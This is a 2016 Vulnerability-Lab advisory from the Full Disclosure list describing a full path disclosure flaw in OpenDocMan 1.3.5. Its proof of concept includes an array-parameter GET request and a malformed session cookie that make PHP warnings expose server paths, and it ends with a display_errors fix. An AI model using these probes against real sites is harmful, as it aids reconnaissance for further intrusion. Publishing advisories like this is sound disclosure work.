Document Title:
===============
OpenDocMan v1.3.5 - Full Path Disclosure Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1868


Release Date:
=============
2016-07-04


Vulnerability Laboratory ID (VL-ID):
====================================
1868


Common Vulnerability Scoring System:
====================================
3.1


Product & Service Introduction:
===============================
OpenDocMan is a free, web-based, open source document management system (DMS) 
written in PHP designed to comply with 
ISO 17025 and OIE standard for document management. It features web based 
access, fine grained control of access to files, 
and automated install and upgrades.

(Copy of the Vendor Homepage: http://www.opendocman.com/ )


Abstract Advisory Information:
==============================
An independent vulnerability laboratory researcher discovered a full path 
disclosure vulnerability in the OpenDocMan v1.3.5 application.


Vulnerability Disclosure Timeline:
==================================
2015-07-04:     Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
OpenDocMan DMS
Product: OpenDocMan - CMS (Web-Application) 1.3.5


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
A full path disclosure vulnerability has been discovered in the official 
OpenDocMan v1.3.5 web-application.

An attacker can insert a Array to display a disclosure path, this flaw displays 
the full path to the vulnerable 
script while indicating the type of vulnerability: Warning: htmlentities ()

However if used in addition to other attacks such as SQL injections or Local 
File iclusion, it becomes critical.


Proof of Concept (PoC):
=======================
The vulnerability can be exploited by remote attackers without privileged user 
account or user interaction.
For security demonstration or to reproduce follow the provided information and 
steps below to continue.

[+] Array[] Parameter Injection Method GET : 
http://opendocman.localhost:8080/index.php?redirection[FPD]=index.php
[+] Injection results : Warning: htmlentities() expects parameter 1 to be 
string, array given in /home/opendocm/public_html/demo/index.php on line 151

# Host: opendocman.localhost:8080
# User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:47.0) Gecko/20100101 Firefox/47.0
# Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
# Accept-Language: en-US,en;q=0.5
# Accept-Encoding: gzip, deflate
# Cookie: __cfduid=d75b77e3db3820872adb88bdf94cd30df1467368101; 
optimizelySegments=%7B%221995752260%22%3A%22referral%22%2C%222006841162%22%3A%22
false%22%2C%222013221018%22%3A%22ff%22%2C%222333810011%22%3A%22referral%22%2C%222335790013%22%3A%22ff%22%2C%222340420012%22%3A%22false%22%7D;
 
optimizelyEndUserId=oeu1467367160521r0.19667019172986888; 
optimizelyBuckets=%7B%7D; _ga=GA1.2.39181984.1467367164; 
PHPSESSID=//setcokkie(); wBounce=true
# Connection: keep-alive
# Cache-Control: max-age=0

[+] Injection results : Warning: session_start() [function.session-start]: 
The session id is too long or contains illegal characters, valid characters are 
a-z, A-Z, 0-9 and '-,' in /home/opendocm/public_html/demo/index.php on line 23

Warning: session_start() [function.session-start]: 
Cannot send session cookie - headers already sent by (output started at 
/home/opendocm/public_html/demo/index.php:23) in 
/home/opendocm/public_html/demo/index.php on line 23


Solution - Fix & Patch:
=======================
1. Reconfigure the php.ini
2. Change "display_errors" and set it to "off" and errors are not enabled


Security Risk:
==============
The security risk of the information disclosure vulnerability in the OpenDocMan 
web-application is estimated as medium. (CVSS 3.1)


Credits & Authors:
==================
ZwX - (http://zwx.fr) [ http://www.vulnerability-lab.com/show.php?user=ZwX ]


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any 
warranty. Vulnerability Lab disclaims all warranties, either expressed or 
implied, 
including the warranties of merchantability and capability for a particular 
purpose. Vulnerability-Lab or its suppliers are not liable in any case of 
damage, 
including direct, indirect, incidental, consequential loss of business profits 
or special damages, even if Vulnerability-Lab or its suppliers have been 
advised 
of the possibility of such damages. Some states do not allow the exclusion or 
limitation of liability for consequential or incidental damages so the 
foregoing 
limitation may not apply. We do not approve or encourage anybody to break any 
licenses, policies, deface websites, hack into databases or trade with stolen 
data.

Domains:    www.vulnerability-lab.com           - www.vuln-lab.com              
                                - www.evolution-sec.com
Contact:    ad...@vulnerability-lab.com         - 
resea...@vulnerability-lab.com                                - 
ad...@evolution-sec.com
Section:    magazine.vulnerability-lab.com      - 
vulnerability-lab.com/contact.php                             - 
evolution-sec.com/contact
Social:     twitter.com/vuln_lab                - facebook.com/VulnerabilityLab 
                                - youtube.com/user/vulnerability0lab
Feeds:      vulnerability-lab.com/rss/rss.php   - 
vulnerability-lab.com/rss/rss_upcoming.php                    - 
vulnerability-lab.com/rss/rss_news.php
Programs:   vulnerability-lab.com/submit.php    - 
vulnerability-lab.com/list-of-bug-bounty-programs.php         - 
vulnerability-lab.com/register.php

Any modified copy or reproduction, including partially usages, of this file 
requires authorization from Vulnerability Laboratory. Permission to 
electronically 
redistribute this alert in its unmodified form is granted. All other rights, 
including the use of other media, are reserved by Vulnerability-Lab Research 
Team or 
its suppliers. All pictures, texts, advisories, source code, videos and other 
information on this website is trademark of vulnerability-lab team & the 
specific 
authors or managers. To record, list, modify, use or edit our material contact 
(admin@ or resea...@vulnerability-lab.com) to get a ask permission.

                                    Copyright © 2016 | Vulnerability Laboratory 
- [Evolution Security GmbH]™




-- 
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com
CONTACT: resea...@vulnerability-lab.com



_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

Reply via email to